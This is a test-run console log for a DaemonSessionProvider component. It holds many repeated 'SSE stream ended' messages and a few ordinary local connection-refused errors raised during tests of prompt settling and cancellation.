stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_error arrives
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_error arrives
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_error arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when prompt_cancelled arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when prompt_cancelled arrives
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when prompt_cancelled arrives
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when prompt_cancelled arrives
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
